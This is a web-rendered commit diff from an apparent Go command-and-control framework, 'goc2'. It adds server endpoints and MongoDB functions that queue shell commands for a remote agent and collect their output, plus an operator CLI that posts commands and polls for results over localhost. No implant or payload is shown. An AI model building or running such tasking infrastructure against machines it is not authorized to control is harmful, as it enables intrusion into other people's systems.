Projects STRLCPY goc2 Commits ac82cdb1
🤬
  • ■ ■ ■ ■ ■ ■
    internal/app/api/agent.go
    1 1  package api
    2 2   
    3 3  import (
     4 + "RedMap/config"
    4 5   "encoding/json"
     6 + "fmt"
    5 7   "log"
    6  - "fmt"
     8 + "time"
    7 9   
    8 10   "github.com/globalsign/mgo"
    9 11   "github.com/globalsign/mgo/bson"
     12 + "github.com/lithammer/shortuuid"
    10 13  )
    11 14   
    12 15  type Agent struct {
    13  - ID bson.ObjectId `bson:"_id,omitempty"`
    14  - Name string
     16 + ID bson.ObjectId `bson:"_id,omitempty"`
     17 + Name string
    15 18  }
    16 19   
    17 20  type Command struct {
    18  - ID bson.ObjectId `bson:"_id,omitempty"`
    19  - Command string
    20  - Agent string
    21  - Status string
     21 + ID bson.ObjectId `bson:"_id,omitempty"`
     22 + Command string
     23 + Agent string
     24 + Status string
     25 + Cmdid string
     26 + Output string
    22 27  }
    23 28   
    24 29  //GetSecrets api data
    skipped 40 lines
    65 70   
    66 71   // Query All
    67 72   var results []Command
    68  - err = c.Find(bson.M{"agent": "test"}).All(&results)
     73 + err = c.Find(bson.M{"agent": agent, "status": "0"}).All(&results)
    69 74   
    70 75   if err != nil {
    71 76   panic(err)
    skipped 7 lines
    79 84   
    80 85   return jsondat
    81 86  }
     87 + 
     88 +func GetCommandsOut(agent string) []byte {
     89 + //query := bson.M{}
     90 + 
     91 + session, err := mgo.Dial("127.0.0.1")
     92 + if err != nil {
     93 + panic(err)
     94 + }
     95 + 
     96 + defer session.Close()
     97 + 
     98 + c := session.DB("c2").C("commands")
     99 + 
     100 + // Query All
     101 + var results []Command
     102 + err = c.Find(bson.M{"agent": agent, "client_status": "0"}).All(&results)
     103 + 
     104 + if err != nil {
     105 + panic(err)
     106 + }
     107 + fmt.Println("Results All: ", results)
     108 + 
     109 + jsondat, err := json.Marshal(results)
     110 + if err != nil {
     111 + log.Fatal("Cannot encode to JSON ", err)
     112 + }
     113 + 
     114 + return jsondat
     115 +}
     116 + 
     117 +//Update command read status
     118 +func UpdateCMDStatus(id string, output string) {
     119 + //_id, _ := primitive.ObjectIDFromHex(id)
     120 + fmt.Println("Updating")
     121 + fmt.Println(id)
     122 + session, err := mgo.Dial("127.0.0.1")
     123 + if err != nil {
     124 + panic(err)
     125 + }
     126 + defer session.Close()
     127 + c := session.DB("c2").C("commands")
     128 + if err != nil {
     129 + panic(err)
     130 + }
     131 + what := bson.M{"cmdid": id}
     132 + change := bson.M{"$set": bson.M{"status": "1", "output": output}}
     133 + c.Update(what, change)
     134 +}
     135 + 
     136 +//Update command read status
     137 +func UpdateCMDStatusOut(id string) {
     138 + //_id, _ := primitive.ObjectIDFromHex(id)
     139 + fmt.Println("Updating")
     140 + fmt.Println(id)
     141 + session, err := mgo.Dial("127.0.0.1")
     142 + if err != nil {
     143 + panic(err)
     144 + }
     145 + defer session.Close()
     146 + c := session.DB("c2").C("commands")
     147 + if err != nil {
     148 + panic(err)
     149 + }
     150 + what := bson.M{"cmdid": id}
     151 + change := bson.M{"$set": bson.M{"client_status": "1"}}
     152 + c.Update(what, change)
     153 +}
     154 + 
     155 +//Update command read status
     156 +func NewCMD(cmd string) {
     157 + randid := shortuuid.New()
     158 + fmt.Println("sending command")
     159 + fmt.Println(cmd)
     160 + query := bson.M{"agent": "test", "cmdid": randid, "status": "0", "client_status": "0", "command": cmd, "timestamp": time.Now()}
     161 + session, err := mgo.Dial(config.Configuration.MongoEndpoint)
     162 + if err != nil {
     163 + panic(err)
     164 + }
     165 + defer session.Close()
     166 + c := session.DB("c2").C("commands")
     167 + err = c.Insert(query)
     168 + if err != nil {
     169 + panic(err)
     170 + }
     171 +}
     172 + 
  • ■ ■ ■ ■ ■ ■
    pkg/cli/cli.go
    skipped 1 lines
    2 2   
    3 3  import (
    4 4   "bufio"
     5 + "encoding/json"
    5 6   "fmt"
     7 + "io/ioutil"
     8 + "log"
     9 + "net/http"
     10 + "net/url"
    6 11   "os"
    7  - "errors"
    8  - "os/exec"
    9  - "strings"
     12 + "time"
    10 13  )
    11 14   
     15 +var timeoutSetting = 1
     16 +var c2 = "http://localhost:8005"
     17 +var agent = "test"
     18 + 
     19 +//ok
     20 +type Cmd struct {
     21 + ID string
     22 + Command string
     23 + Agent string
     24 + Status string
     25 + Cmdid string
     26 + Output string
     27 +}
     28 + 
    12 29  func Start() {
    13 30   reader := bufio.NewReader(os.Stdin)
     31 + timeout := time.Duration(timeoutSetting) * time.Second
     32 + ticker := time.NewTicker(timeout)
     33 + quit := make(chan struct{})
    14 34   for {
    15  - path, err := os.Getwd()
    16  - fmt.Print(path + "-agent0012$ ")
    17  - cmdString, err := reader.ReadString('\n')
    18  - if err != nil {
    19  - fmt.Fprintln(os.Stderr, err)
    20  - }
    21  - err = runCommand(cmdString)
    22  - if err != nil {
    23  - fmt.Fprintln(os.Stderr, err)
     35 + fmt.Print("agent0012$ ")
     36 + select {
     37 + case <-ticker.C:
     38 + cmdString, err := reader.ReadString('\n')
     39 + if err != nil {
     40 + fmt.Fprintln(os.Stderr, err)
     41 + }
     42 + err = sendCommand(cmdString)
     43 + if err != nil {
     44 + fmt.Fprintln(os.Stderr, err)
     45 + }
     46 + deadline := time.Now().Add(10 * time.Second)
     47 + for {
     48 + data := getJSON(c2 + "/api/cmd/output/" + agent)
     49 + if data == "True" || cmdString == "\n" {
     50 + break
     51 + }
     52 + if time.Now().After(deadline) {
     53 + fmt.Fprintln(os.Stderr, "Command Timed Out!")
     54 + break
     55 + }
     56 + }
     57 + case <-quit:
     58 + return
    24 59   }
    25 60   }
    26 61  }
    27 62   
    28  -func runCommand(commandStr string) error {
    29  - commandStr = strings.TrimSuffix(commandStr, "\n")
    30  - arrCommandStr := strings.Fields(commandStr)
    31  - if len(arrCommandStr) < 1 {
    32  - return errors.New("")
     63 +func sendCommand(cmd string) error {
     64 + resp, err := http.PostForm(c2+"/api/cmd/new",
     65 + url.Values{"cmd": {cmd}})
     66 + 
     67 + if err != nil {
     68 + panic(err)
    33 69   }
    34  - switch arrCommandStr[0] {
    35  - case "cd":
    36  - if len(arrCommandStr) < 1 {
    37  - return errors.New("Required 1 arguments")
    38  - }
    39  - return os.Chdir(arrCommandStr[1])
    40  - case "exit":
    41  - os.Exit(0)
    42  - case "whos":
    43  - cmd := exec.Command("whoami")
    44  - cmd.Stderr = os.Stderr
    45  - cmd.Stdout = os.Stdout
    46  - //fmt.Fprintln(os.Stdout, output)
    47  - return cmd.Run()
    48  - default:
    49  - cmd := exec.Command(arrCommandStr[0], arrCommandStr[1:]...)
    50  - cmd.Stderr = os.Stderr
    51  - cmd.Stdout = os.Stdout
    52  - return cmd.Run()
     70 + if resp.Body != nil {
     71 + defer resp.Body.Close()
    53 72   }
    54 73   return nil
    55 74  }
    56 75   
     76 +func getJSON(url string) string {
     77 + 
     78 + resp, err := http.Get(url)
     79 + if err != nil {
     80 + panic(err)
     81 + }
     82 + if resp.Body != nil {
     83 + defer resp.Body.Close()
     84 + }
     85 + 
     86 + body, readErr := ioutil.ReadAll(resp.Body)
     87 + if readErr != nil {
     88 + log.Fatal(readErr)
     89 + }
     90 + 
     91 + var results []Cmd
     92 + jsonErr := json.Unmarshal(body, &results)
     93 + if jsonErr != nil {
     94 + log.Fatal(jsonErr)
     95 + }
     96 + 
     97 + for _, d := range results {
     98 + if len(d.Output) > 0 {
     99 + //fmt.Println(d.Output)
     100 + fmt.Fprintln(os.Stderr, d.Output)
     101 + updateCmdStatus(d.Cmdid)
     102 + return "True"
     103 + }
     104 + //fmt.Println(d.Cmdid + ": " + d.Output)
     105 + //updateCmdStatus(d.Cmdid)
     106 + }
     107 + 
     108 + // Print the HTTP response status.
     109 + //fmt.Println("Response status:", resp.Status)
     110 + return "False"
     111 +}
     112 + 
     113 +func updateCmdStatus(cmdid string) {
     114 + resp, err := http.PostForm(c2+"/api/cmd/update/output",
     115 + url.Values{"id": {cmdid}, "client_status": {"1"}})
     116 + 
     117 + if err != nil {
     118 + panic(err)
     119 + }
     120 + if resp.Body != nil {
     121 + defer resp.Body.Close()
     122 + }
     123 +}
     124 + 
  • ■ ■ ■ ■ ■
    web/server.go
    1 1  package web
    2 2   
    3 3  import (
    4  - "goc2/internal/app/api"
    5 4   "encoding/json"
    6 5   "fmt"
     6 + "goc2/internal/app/api"
    7 7   "log"
    8 8   "net/http"
    9 9   
    skipped 17 lines
    27 27   router := httprouter.New()
    28 28   
    29 29   //Main Entry
    30  - router.POST("/api/scan", apiScan)
     30 + router.POST("/api/cmd/update", apiCmdUpdate)
     31 + router.POST("/api/cmd/update/output", apiCmdUpdateOut)
     32 + router.POST("/api/cmd/new", apiCmdNew)
    31 33   
    32 34   //Main Entry
    33 35   router.GET("/api/test", apiTest)
    skipped 4 lines
    38 40   
    39 41   //commands Endpoints
    40 42   router.GET("/api/cmds/:name", apiCmds)
     43 + router.GET("/api/cmd/output/:id", apiCmdsOut)
    41 44   router.GET("/cmds/", redirect)
    42 45   
    43 46   fmt.Printf("Starting server at port 8005\n")
    skipped 7 lines
    51 54   http.Redirect(w, r, "/", 301)
    52 55  }
    53 56   
    54  -func apiScan(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    55  - w.Header().Set("Content-Type", "application/json")
     57 +func apiCmdUpdate(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
     58 + w.Header().Set("Content-Type", "application/x-www-form-urlencoded")
     59 + if err := r.ParseForm(); err != nil {
     60 + fmt.Fprintf(w, "ParseForm() err: %v", err)
     61 + return
     62 + }
     63 + 
     64 + ID := r.FormValue("id")
     65 + OUTPUT := r.FormValue("output")
     66 + fmt.Println(ID)
     67 + fmt.Println(OUTPUT)
     68 + 
     69 + jsond := map[string]interface{}{
     70 + "status": "Command Updated",
     71 + }
     72 + 
     73 + jsondata, err := json.Marshal(jsond)
     74 + if err != nil {
     75 + log.Fatalln(err)
     76 + }
     77 + fmt.Fprintf(w, string(jsondata))
     78 + api.UpdateCMDStatus(ID, OUTPUT)
     79 +}
     80 + 
     81 +func apiCmdUpdateOut(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
     82 + w.Header().Set("Content-Type", "application/x-www-form-urlencoded")
     83 + if err := r.ParseForm(); err != nil {
     84 + fmt.Fprintf(w, "ParseForm() err: %v", err)
     85 + return
     86 + }
     87 + 
     88 + ID := r.FormValue("id")
     89 + fmt.Println(ID)
     90 + 
     91 + jsond := map[string]interface{}{
     92 + "status": "Command Updated",
     93 + }
     94 + 
     95 + jsondata, err := json.Marshal(jsond)
     96 + if err != nil {
     97 + log.Fatalln(err)
     98 + }
     99 + fmt.Fprintf(w, string(jsondata))
     100 + api.UpdateCMDStatusOut(ID)
     101 +}
     102 + 
     103 +func apiCmdNew(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
     104 + w.Header().Set("Content-Type", "application/x-www-form-urlencoded")
    56 105   if err := r.ParseForm(); err != nil {
    57 106   fmt.Fprintf(w, "ParseForm() err: %v", err)
    58 107   return
    59 108   }
    60 109   
    61  - //domains := r.FormValue("domains")
    62  - //git := r.FormValue("git")
    63  - //email := r.FormValue("email")
    64  - //scanner := r.FormValue("scanner")
     110 + CMD := r.FormValue("cmd")
     111 + fmt.Println(CMD)
    65 112   
    66 113   jsond := map[string]interface{}{
    67  - "status": "Scan Started",
     114 + "status": "Command Updated",
    68 115   }
    69 116   
    70 117   jsondata, err := json.Marshal(jsond)
    skipped 1 lines
    72 119   log.Fatalln(err)
    73 120   }
    74 121   fmt.Fprintf(w, string(jsondata))
    75  - //go api.WebScan(domains, git, email, scanner)
     122 + api.NewCMD(CMD)
    76 123  }
    77 124   
    78 125  func apiAgents(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    skipped 3 lines
    82 129   fmt.Fprintf(w, "%s", string(d))
    83 130  }
    84 131   
    85  - 
    86 132  func apiCmds(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    87 133   w.Header().Set("Content-Type", "application/json")
    88 134   d := api.GetCommands(ps.ByName("name"))
     135 + 
     136 + fmt.Fprintf(w, "%s", string(d))
     137 +}
     138 + 
     139 +func apiCmdsOut(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
     140 + w.Header().Set("Content-Type", "application/json")
     141 + d := api.GetCommandsOut(ps.ByName("id"))
    89 142   
    90 143   fmt.Fprintf(w, "%s", string(d))
    91 144  }
    skipped 13 lines
Please wait...
Page is in error, reload to recover